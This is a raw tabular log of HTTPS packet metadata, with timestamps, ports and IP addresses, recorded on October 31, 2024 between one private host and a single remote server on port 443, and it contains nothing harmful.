Oct 31, 2024 07:15:04.802853107 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.802949905 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.802966118 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.803020000 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803041935 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803041935 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803059101 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.803096056 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803096056 CET	49780	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803101063 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.803112030 CET	443	49780	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.803119898 CET	49782	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.803123951 CET	443	49782	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.805783987 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.805804968 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.805882931 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.805942059 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.805952072 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.805986881 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.806000948 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.806005001 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.806087017 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.806094885 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.809586048 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.809869051 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.809884071 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.810256004 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.810261965 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.822334051 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.822468042 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.822536945 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.822612047 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.822626114 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.822634935 CET	49781	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.822639942 CET	443	49781	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.824682951 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.824701071 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.824765921 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.824851036 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.824862957 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.939208984 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.939253092 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.939377069 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.939532995 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.939539909 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.939575911 CET	49783	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.939580917 CET	443	49783	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.941853046 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.941870928 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:04.941975117 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.942116022 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:04.942127943 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.492682934 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.493182898 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.493194103 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.493628979 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.493633986 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.544481039 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.545094013 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.545111895 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.545574903 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.545579910 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.546255112 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.546520948 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.546528101 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.546850920 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.546854973 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.548558950 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.548774958 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.548784971 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.549093008 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.549097061 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.624344110 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.624517918 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.624578953 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.624639034 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.624645948 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.624655008 CET	49784	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.624665976 CET	443	49784	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.627228022 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.627326965 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.631710052 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.631710052 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.631742001 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.668910980 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.669281960 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.669301033 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.669718981 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.669723034 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.672288895 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.672492027 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.672549009 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.672604084 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.672616959 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.672624111 CET	49787	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.672630072 CET	443	49787	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.674314976 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.674371958 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.674416065 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.674917936 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.674936056 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.674993992 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.675009012 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.675009012 CET	49785	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.675017118 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.675024033 CET	443	49785	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.675178051 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.675189972 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.677478075 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.677517891 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.677586079 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.677725077 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.677751064 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.680727959 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.680885077 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.680941105 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.680959940 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.680968046 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.680975914 CET	49786	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.680980921 CET	443	49786	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.683103085 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.683115005 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.683176994 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.683347940 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.683356047 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.802515984 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.802608013 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.802685976 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.802788973 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.802795887 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.802836895 CET	49788	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.802840948 CET	443	49788	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.805016041 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.805038929 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:05.805114031 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.805258036 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:05.805270910 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.357347012 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.357820988 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.357876062 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.358268023 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.358282089 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.418735981 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.419238091 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.419259071 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.419682980 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.419688940 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.422713995 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.423058987 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.423096895 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.423484087 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.423496008 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.488286972 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.488504887 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.488565922 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.488594055 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.488607883 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.488615990 CET	49789	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.488620043 CET	443	49789	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.490873098 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.490894079 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.490973949 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.491090059 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.491101027 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.551229000 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.551270962 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.551429033 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.551508904 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.551630974 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.551630974 CET	49791	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.551651955 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.551673889 CET	443	49791	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.552809954 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.552875996 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.553411007 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.553420067 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.553447008 CET	49790	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.553451061 CET	443	49790	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.554862976 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.554908991 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.554966927 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.555670023 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.555685997 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.556132078 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.556149006 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.556214094 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.556334972 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.556344986 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.574570894 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.574903965 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.574920893 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.575515985 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.575521946 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.710041046 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.710340023 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.710407972 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.710464954 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.710489035 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.710500956 CET	49793	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.710505962 CET	443	49793	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.713043928 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.713083982 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:06.713171005 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.713309050 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:06.713335037 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.236386061 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.236851931 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.236860037 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.237297058 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.237301111 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.289985895 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.290395021 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.290412903 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.290781975 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.290807962 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.290812016 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.291035891 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.291052103 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.291364908 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.291369915 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.367228985 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.367455959 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.367502928 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.367541075 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.367551088 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.367562056 CET	49794	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.367566109 CET	443	49794	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.370333910 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.370354891 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.370420933 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.370543957 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.370553017 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.421452045 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.421807051 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.421870947 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.421911955 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.421924114 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.421933889 CET	49795	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.421938896 CET	443	49795	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.422859907 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.423048019 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.423106909 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.423168898 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.423176050 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.423187017 CET	49796	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.423190117 CET	443	49796	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.424854040 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.424935102 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.425084114 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.425195932 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.425203085 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.425215006 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.425239086 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.425266027 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.425432920 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.425443888 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.452225924 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.452588081 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.452631950 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.453003883 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.453015089 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.486686945 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.487035036 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.487040997 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.487498045 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.487500906 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.584033012 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.584217072 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.584309101 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.584363937 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.584386110 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.584420919 CET	49797	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.584434032 CET	443	49797	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.586841106 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.586880922 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.586963892 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.587102890 CET	49801	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.587116957 CET	443	49801	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.623296022 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.623420954 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.623481035 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.623636007 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.623641014 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.623650074 CET	49792	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.623653889 CET	443	49792	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.625638008 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.625667095 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:07.625745058 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.625864029 CET	49802	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:07.625875950 CET	443	49802	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.099334002 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.099883080 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.099906921 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.100328922 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.100333929 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.160383940 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.160825014 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.160846949 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.161215067 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.161220074 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.169013023 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.169291973 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.169332981 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.169626951 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.169641972 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.229206085 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.229470968 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.229525089 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.229676962 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.229691029 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.229701042 CET	49798	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.229706049 CET	443	49798	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.266021013 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.266064882 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.266122103 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.266611099 CET	49803	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.266625881 CET	443	49803	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.291364908 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.291518927 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.291582108 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.291604996 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.291614056 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.291624069 CET	49800	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.291627884 CET	443	49800	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.293623924 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.293642044 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.293718100 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.294821024 CET	49804	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.294831991 CET	443	49804	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.299016953 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.299118996 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.299175978 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.299226999 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.299226999 CET	49799	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.299262047 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.299285889 CET	443	49799	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.301071882 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.301105022 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:08.301182985 CET	49805	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:08.301433086 CET	49805	443	192.168.2.4	13.107.246.45
